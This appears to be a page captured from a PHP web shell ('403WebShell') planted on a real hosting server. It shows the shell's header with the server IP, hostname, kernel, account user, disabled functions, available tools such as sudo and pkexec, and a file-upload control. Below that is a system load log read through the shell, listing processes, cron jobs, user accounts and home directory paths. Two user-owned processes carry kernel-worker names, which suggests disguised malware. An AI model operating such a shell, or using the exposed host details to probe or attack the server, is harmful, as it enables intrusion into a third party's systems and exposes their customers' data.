403WebShell

403Webshell
Server IP : 173.199.190.172 / Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/log/loadwatch/
Upload File :
[ Back ]
Current File : /var/log/loadwatch/2025-11-17.02.27.txt
 ## swap threshold exceeded
## server overview
2025-11-17.02.27 load[0] mem[59/61] mysql[1/8] httpd[10]
              total        used        free      shared  buff/cache   available
Mem:           2363        1327         207          64         828         806
Swap:          1999        1342         657
 02:27:02 up  3:08,  0 users,  load average: 0.10, 0.19, 0.27
## system overview
top - 02:27:02 up  3:08,  0 users,  load average: 0.10, 0.19, 0.27
Tasks: 197 total,   3 running, 193 sleeping,   0 stopped,   1 zombie
%Cpu(s): 69.7 us, 21.2 sy,  0.0 ni,  9.1 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,   212932 free,  1358968 used,   848400 buff/cache
KiB Swap:  2047996 total,   673788 free,  1374208 used.   826164 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  2639 mysql     20   0 1461652 271556   5036 S 118.8 11.2   2:21.68 /usr/sbin+
 61044 nigeria   20   0  404052  16136  10380 S  18.8  0.7   0:00.05 /opt/cpan+
 60187 nobody    20   0  277744  18724   3652 S   6.2  0.8   0:00.13 /usr/sbin+
 61081 cloudsms  20   0  404052  15608  10164 S   6.2  0.6   0:00.01 /opt/cpan+
     1 root      20   0   44400   3492   1624 S   0.0  0.1   0:15.53 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:00.70 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.63 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   0:12.11 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.02 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.02 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.61 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:02.11 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:12.29 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.01 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   100 root      20   0       0      0      0 S   0.0  0.0   0:00.23 [kauditd]
   229 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   240 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   243 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   244 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   246 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   248 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   258 root       0 -20       0      0      0 S   0.0  0.0   0:01.55 [kworker/+
   263 root       0 -20       0      0      0 S   0.0  0.0   0:01.28 [kworker/+
   274 root      20   0       0      0      0 S   0.0  0.0   0:00.64 [jbd2/vda+
   275 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   355 root      20   0   40244   4312   4008 S   0.0  0.2   0:06.18 /usr/lib/+
   376 root      20   0   45376    584    436 S   0.0  0.0   0:00.33 /usr/lib/+
   407 root      16  -4   55532    568    440 S   0.0  0.0   0:00.95 /sbin/aud+
   412 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   413 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   470 root      20   0  152780    316    272 S   0.0  0.0   0:00.01 /usr/sbin+
   475 polkitd   20   0  612240   1288    864 S   0.0  0.1   0:01.58 /usr/lib/+
   476 root      20   0   24716   1316    940 S   0.0  0.1   0:02.64 /usr/lib/+
   483 root      20   0   21540    536    424 S   0.0  0.0   0:00.24 /usr/sbin+
   484 rpc       20   0   69256    172     68 S   0.0  0.0   0:00.01 /sbin/rpc+
   485 root      20   0   52852    480    384 S   0.0  0.0   0:00.01 /usr/sbin+
   492 dbus      20   0   58700   1520    768 S   0.0  0.1   0:05.99 /usr/bin/+
   494 root      20   0  195208    116    116 S   0.0  0.0   0:00.00 /usr/sbin+
   502 nscd      20   0  926904   1520    892 S   0.0  0.1   0:10.64 /usr/sbin+
   515 root      20   0    4388    112    108 S   0.0  0.0   0:00.00 /usr/sbin+
   519 root      20   0  224148   6108   1396 S   0.0  0.3   0:00.20 queueproc+
   545 root      20   0  124480    692    536 S   0.0  0.0   0:00.34 /usr/sbin+
   546 root      20   0   24208    260    240 S   0.0  0.0   0:00.00 /usr/sbin+
   555 root      20   0  114704    212    212 S   0.0  0.0   0:00.02 /bin/bash
   556 root      20   0  108296    212    208 S   0.0  0.0   0:00.00 /sbin/age+
   625 mailnull  20   0   89120   4100   1076 S   0.0  0.2   0:00.20 /usr/sbin+
   646 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   672 root       0 -20       0      0      0 S   0.0  0.0   0:02.20 [loop0]
   726 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [jbd2/loo+
   727 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   911 root      20   0  111304    584    484 S   0.0  0.0   0:01.38 /usr/sbin+
   912 systuser  20   0  113016     80      0 S   0.0  0.0   0:00.01 /usr/loca+
   917 root      20   0  249168   4328   3484 S   0.0  0.2   0:03.08 /usr/sbin+
   918 named     20   0  989256  38292   2460 S   0.0  1.6   0:06.87 /usr/sbin+
   919 root      20   0 1763124 277376    756 S   0.0 11.5   0:14.10 /usr/loca+
   924 systuser  20   0   10388     36      0 S   0.0  0.0   0:00.00 /usr/loca+
   925 root      20   0   51508    672    508 S   0.0  0.0   0:00.15 /usr/sbin+
   926 root      20   0  572372   1176    596 S   0.0  0.0   0:01.02 /usr/bin/+
   928 root      20   0  445028   3388   3280 S   0.0  0.1   0:00.42 sw-engine+
   937 root      20   0  439788  11508  11300 S   0.0  0.5   0:00.43 php-fpm: +
   938 systuser  20   0  114016  14232   2784 S   0.0  0.6   0:02.80 /usr/loca+
   939 root      20   0  261296   7612   2052 S   0.0  0.3   0:02.32 cpsrvd (S+
   943 root      20   0 1277312  10588    228 S   0.0  0.4   0:20.26 /usr/bin/+
   944 root      20   0 1276356   8028    228 S   0.0  0.3   0:24.82 /usr/bin/+
   947 cpanelc+  20   0   10308   3544   2424 S   0.0  0.1   0:09.46 /usr/loca+
   952 root      20   0  396248    740    556 S   0.0  0.0   0:00.38 php-fpm: +
   957 root      20   0  388892    772    672 S   0.0  0.0   0:00.40 php-fpm: +
   962 systuser  20   0   14068     48      0 S   0.0  0.0   0:00.00 /usr/loca+
   963 telegraf  20   0 5654048  35920   5640 S   0.0  1.5   0:06.44 /usr/loca+
   964 root      20   0  153404    468    384 S   0.0  0.0   0:00.23 pure-ftpd+
   967 root      20   0  400740   1016    844 S   0.0  0.0   0:01.92 php-fpm: +
   968 systuser  20   0  112524     72      0 S   0.0  0.0   0:00.01 /usr/loca+
   969 memcach+  20   0  342400    192    192 S   0.0  0.0   0:00.25 /usr/bin/+
   974 root      20   0  389508    816    612 S   0.0  0.0   0:00.35 php-fpm: +
  1080 dovenull  20   0   46912   2588   1876 S   0.0  0.1   0:00.18 dovecot/p+
  1081 dovenull  20   0   47340   3184   2164 S   0.0  0.1   0:00.08 dovecot/i+
  1082 dovecot   20   0   10320    388    272 S   0.0  0.0   0:00.02 dovecot/a+
  1083 root      20   0   10452    568    388 S   0.0  0.0   0:00.12 dovecot/l+
  1084 dovenull  20   0   46984   2496   1764 S   0.0  0.1   0:00.22 dovecot/p+
  1085 dovenull  20   0   47308   3096   2144 S   0.0  0.1   0:00.07 dovecot/i+
  1091 root      20   0   24528   2500    632 S   0.0  0.1   0:00.08 dovecot/c+
  1095 dovecot   20   0   13568    660    432 S   0.0  0.0   0:00.02 dovecot/s+
  1123 root      20   0  248032 119020   2528 S   0.0  4.9   0:04.18 /usr/loca+
  1160 dovecot   20   0   41160   1588   1128 S   0.0  0.1   0:00.22 dovecot/a+
  1168 systuser  20   0  157704   3068   1088 S   0.0  0.1   0:00.06 SonarPush+
  1176 wp-tool+  20   0  387556   5072   1700 S   0.0  0.2   0:00.18 /usr/bin/+
  1177 wp-tool+  20   0  412368  32508   1732 S   0.0  1.3   0:03.73 /usr/bin/+
  1211 root      20   0  209168  12136   2592 S   0.0  0.5   0:01.33 tailwatchd
  1213 root      20   0  262224  24500   6772 S   0.0  1.0   0:00.66 cpdavd - +
  1216 root      20   0  167452   4116   2744 S   0.0  0.2   0:00.29 dnsadmin +
  1560 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
  1627 root      20   0  299272    888    548 S   0.0  0.0   0:00.30 php-fpm: +
  1673 root      38  18  130416   1592    820 S   0.0  0.1   0:00.03 cpanellog+
  1928 root      20   0  266984   8180    860 S   0.0  0.3   0:01.41 /usr/sbin+
  1932 root      20   0   12788    520    376 S   0.0  0.0   0:01.44 /usr/loca+
  1933 root      20   0   12732    480    368 S   0.0  0.0   0:01.25 /usr/loca+
  1934 root      20   0   12808    500    348 S   0.0  0.0   0:01.36 /usr/loca+
  1939 root      20   0   53256    256    256 S   0.0  0.0   0:00.04 /usr/loca+
  8393 root      20   0  264952 129144   2860 S   0.0  5.3   0:01.55 spamd chi+
  8394 root      20   0  248032 117032    584 S   0.0  4.8   0:00.00 spamd chi+
 14071 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
 35569 root      20   0       0      0      0 S   0.0  0.0   0:00.13 [kworker/+
 40045 oysipao+  20   0    3148    416      0 S   0.0  0.0   0:00.00 [kworker]
 40049 oysipao+  20   0    3152    424      0 S   0.0  0.0   0:00.16 [kworker]
 40218 root      20   0  181788  29176   1644 S   0.0  1.2   0:08.80 lfd - sle+
 44789 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 45522 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kworker/+
 47511 nobody    20   0  277680  20364   4904 S   0.0  0.8   0:01.38 /usr/sbin+
 48575 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 48576 root      20   0       0      0      0 S   0.0  0.0   0:00.03 [kworker/+
 48646 nobody    20   0  277680  20076   4748 S   0.0  0.8   0:01.10 /usr/sbin+
 50830 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [kworker/+
 52247 nobody    20   0  277572  20080   4632 S   0.0  0.8   0:00.73 /usr/sbin+
 52255 nobody    20   0  277656  19748   4580 S   0.0  0.8   0:01.01 /usr/sbin+
 52258 nobody    20   0  277744  20024   4584 S   0.0  0.8   0:00.84 /usr/sbin+
 52503 nobody    20   0  277720  20028   4768 S   0.0  0.8   0:00.97 /usr/sbin+
 53495 nobody    20   0  277740  19560   4424 S   0.0  0.8   0:00.72 /usr/sbin+
 54233 nobody    20   0  277692  19976   4508 S   0.0  0.8   0:00.76 /usr/sbin+
 54829 nobody    20   0  277692  19616   4408 S   0.0  0.8   0:00.54 /usr/sbin+
 54842 nobody    20   0  277484  19672   4676 S   0.0  0.8   0:00.76 /usr/sbin+
 55807 nobody    20   0  277680  19448   4292 S   0.0  0.8   0:00.42 /usr/sbin+
 56342 nobody    20   0  277744  19420   4280 S   0.0  0.8   0:00.33 /usr/sbin+
 56369 nobody    20   0  277744  19460   4272 S   0.0  0.8   0:00.38 /usr/sbin+
 56370 nobody    20   0  277744  19548   4288 S   0.0  0.8   0:00.49 /usr/sbin+
 56483 root      20   0       0      0      0 S   0.0  0.0   0:00.02 [kworker/+
 57634 nobody    20   0  277876  19440   4244 S   0.0  0.8   0:00.35 /usr/sbin+
 57950 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 58187 nobody    20   0  277740  19500   4352 S   0.0  0.8   0:00.39 /usr/sbin+
 59658 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 60336 nobody    20   0  277744  18708   3648 S   0.0  0.8   0:00.06 /usr/sbin+
 60450 root      20   0   41052   2724   2088 S   0.0  0.1   0:00.00 dovecot/a+
 60929 root      20   0  111304   4272   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 60957 root      20   0  111304   4264   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 60958 root      20   0  157100   5076   3784 S   0.0  0.2   0:00.00 sshd: unk+
 60959 sshd      20   0  115644   2632   1560 S   0.0  0.1   0:00.00 sshd: unk+
 60960 mailnull  20   0   89496   5428   2228 S   0.0  0.2   0:00.00 /usr/sbin+
 60967 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 60969 nigeria   20   0  400460   4420   2328 S   0.0  0.2   0:00.00 php-fpm: +
 60981 wp-tool+  20   0  445028    312    188 S   0.0  0.0   0:00.00 sw-engine+
 60986 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 60989 root      20   0  183048   2148   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 60990 root      20   0  183048   2148   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 60991 root      20   0  183048   2148   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 60994 root      20   0  183048   2148   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 60995 root      20   0  183048   2148   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 60996 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 60998 root      20   0  183048   2148   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 61000 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 61003 root      20   0  108052    356    284 S   0.0  0.0   0:00.00 /usr/bin/+
 61005 root      20   0  113288   1520   1300 S   0.0  0.1   0:00.00 /bin/bash+
 61008 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
 61017 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 61018 root      20   0   20164    972    768 S   0.0  0.0   0:00.00 jailshell+
 61019 root      20   0   20164    968    768 S   0.0  0.0   0:00.00 jailshell+
 61020 root      20   0   20164    984    788 S   0.0  0.0   0:00.00 jailshell+
 61027 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 61028 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 61029 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
 61045 pactpay   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 61046 pactpay   20   0  480124  17688  11892 S   0.0  0.7   0:00.01 /opt/cpan+
 61075 root      20   0  160220   2060   1580 R   0.0  0.1   0:00.00 top -bcn1
 61078 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 61080 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 61082 cloudsms  20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 61085 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 61086 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 61087 cloudsms  20   0  131872   3324   2384 R   0.0  0.1   0:00.00 /usr/loca+
 61088 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 61089 cloudsms  20   0  113284    184      0 R   0.0  0.0   0:00.00 /usr/loca+
 93318 root      20   0  183052   2112   1548 S   0.0  0.1   0:00.00 /usr/sbin+
 93348 root      20   0  113284   1116    940 S   0.0  0.0   0:00.00 /bin/sh -+
 93349 root      20   0  108056    308    232 S   0.0  0.0   0:00.00 sleep 4h +
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    Nov16   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        S    Nov16   0:12  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    Nov16   0:02  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [watchdogd]
root         36  0.1  0.0      0     0 ?        S    Nov16   0:12  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   Nov16   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   Nov16   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [deferwq]
root        100  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [kauditd]
root        229  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ata_sff]
root        240  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [scsi_eh_0]
root        243  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [scsi_tmf_0]
root        244  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [scsi_eh_1]
root        246  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [scsi_tmf_1]
root        248  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ttm_swap]
root        258  0.0  0.0      0     0 ?        S<   Nov16   0:01  \_ [kworker/1:1H]
root        263  0.0  0.0      0     0 ?        S<   Nov16   0:01  \_ [kworker/0:1H]
root        274  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [jbd2/vda3-8]
root        275  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ext4-rsv-conver]
root        412  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [rpciod]
root        413  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [xprtiod]
root        646  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kvm-irqfd-clean]
root        672  0.0  0.0      0     0 ?        S<   Nov16   0:02  \_ [loop0]
root        726  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [jbd2/loop0-8]
root        727  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ext4-rsv-conver]
root       1560  0.0  0.0      0     0 ?        S    01:12   0:00  \_ [kworker/u200:2]
root      14071  0.0  0.0      0     0 ?        S    01:27   0:00  \_ [kworker/0:1]
root      35569  0.0  0.0      0     0 ?        S    01:53   0:00  \_ [kworker/1:1]
root      44789  0.0  0.0      0     0 ?        S    02:06   0:00  \_ [kworker/0:2]
root      45522  0.0  0.0      0     0 ?        S    02:07   0:00  \_ [kworker/1:0]
root      48575  0.0  0.0      0     0 ?        S    02:11   0:00  \_ [kworker/0:0]
root      48576  0.0  0.0      0     0 ?        S    02:11   0:00  \_ [kworker/u200:1]
root      50830  0.0  0.0      0     0 ?        S    02:14   0:00  \_ [kworker/1:2]
root      56483  0.0  0.0      0     0 ?        S    02:21   0:00  \_ [kworker/1:3]
root      57950  0.0  0.0      0     0 ?        S    02:23   0:00  \_ [kworker/0:3]
root      59658  0.0  0.0      0     0 ?        S    02:25   0:00  \_ [kworker/1:4]
root          1  0.1  0.1  44400  3492 ?        Ss   Nov16   0:15 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        355  0.0  0.1  40244  4312 ?        Ss   Nov16   0:06 /usr/lib/systemd/systemd-journald
root        376  0.0  0.0  45376   584 ?        Ss   Nov16   0:00 /usr/lib/systemd/systemd-udevd
root        407  0.0  0.0  55532   568 ?        S<sl Nov16   0:00 /sbin/auditd
root        470  0.0  0.0 152780   316 ?        Ss   Nov16   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
polkitd     475  0.0  0.0 612240  1288 ?        Ssl  Nov16   0:01 /usr/lib/polkit-1/polkitd --no-debug
root        476  0.0  0.0  24716  1316 ?        Ss   Nov16   0:02 /usr/lib/systemd/systemd-logind
root        483  0.0  0.0  21540   536 ?        Ss   Nov16   0:00 /usr/sbin/irqbalance --foreground
rpc         484  0.0  0.0  69256   172 ?        Ss   Nov16   0:00 /sbin/rpcbind -w
root        485  0.0  0.0  52852   480 ?        Ss   Nov16   0:00 /usr/sbin/smartd -n -q never
dbus        492  0.0  0.0  58700  1520 ?        Ss   Nov16   0:05 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root        494  0.0  0.0 195208   116 ?        Ssl  Nov16   0:00 /usr/sbin/gssproxy -D
nscd        502  0.0  0.0 926904  1520 ?        Ssl  Nov16   0:10 /usr/sbin/nscd
root        515  0.0  0.0   4388   112 ?        Ss   Nov16   0:00 /usr/sbin/acpid
root        519  0.0  0.2 224148  6108 ?        Ss   Nov16   0:00 queueprocd - waiting up to 60s to process a task
root        545  0.0  0.0 124480   692 ?        Ss   Nov16   0:00 /usr/sbin/crond -n
root      93318  0.0  0.0 183052  2112 ?        S    01:00   0:00  \_ /usr/sbin/CROND -n
root      93348  0.0  0.0 113284  1116 ?        Ss   01:00   0:00  |   \_ /bin/sh -c sleep $((1 + RANDOM % 5))h $((1 + RANDOM % 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; /usr/bin/yum -y update wp-toolkit-cpanel > /dev/null 2> /dev/null
root      93349  0.0  0.0 108056   308 ?        S    01:00   0:00  |       \_ sleep 4h 32m
root      60986  0.0  0.0 183048  2152 ?        S    02:27   0:00  \_ /usr/sbin/CROND -n
root      61000  0.0  0.0 113284  1212 ?        Ss   02:27   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      61003  0.0  0.0 108052   356 ?        S    02:27   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      61005  0.0  0.0 113288  1520 ?        S    02:27   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      61090  0.0  0.0 153840  2092 ?        R    02:27   0:00  |               \_ ps auxf
root      60989  0.0  0.0 183048  2148 ?        S    02:27   0:00  \_ /usr/sbin/CROND -n
root      61020  0.0  0.0  20164   984 ?        Ss   02:27   0:00  |   \_ jailshell (cloudsms) [61082] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
cloudsms  61082  0.0  0.0  20164   256 ?        S    02:27   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
cloudsms  61085  0.0  0.0 113284  1212 ?        S    02:27   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
cloudsms  61087  0.0  0.4 399788 11548 ?        R    02:27   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/cron/process_queue2.php
root      60990  0.0  0.0 183048  2148 ?        S    02:27   0:00  \_ /usr/sbin/CROND -n
root      61008  0.0  0.0  20164   988 ?        Ss   02:27   0:00  |   \_ jailshell (cloudsms) [61078] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  61078  0.0  0.0  20164   260 ?        S    02:27   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  61080  0.0  0.0 113284  1212 ?        S    02:27   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  61081  0.0  0.6 404052 15608 ?        S    02:27   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/massmailer/cron.php
root      60991  0.0  0.0 183048  2148 ?        S    02:27   0:00  \_ /usr/sbin/CROND -n
root      61029  0.0  0.0  20164   988 ?        Ss   02:27   0:00  |   \_ jailshell (cloudsms) [61086] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
cloudsms  61086  0.0  0.0  20164   260 ?        S    02:27   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
cloudsms  61088  0.0  0.0 113284  1212 ?        S    02:27   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
cloudsms  61089  0.0  0.5 400672 12448 ?        R    02:27   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/cron/process_queue.php
root      60994  0.0  0.0 183048  2148 ?        S    02:27   0:00  \_ /usr/sbin/CROND -n
root      61017  0.0  0.0  20164   804 ?        Ss   02:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      60995  0.0  0.0 183048  2148 ?        S    02:27   0:00  \_ /usr/sbin/CROND -n
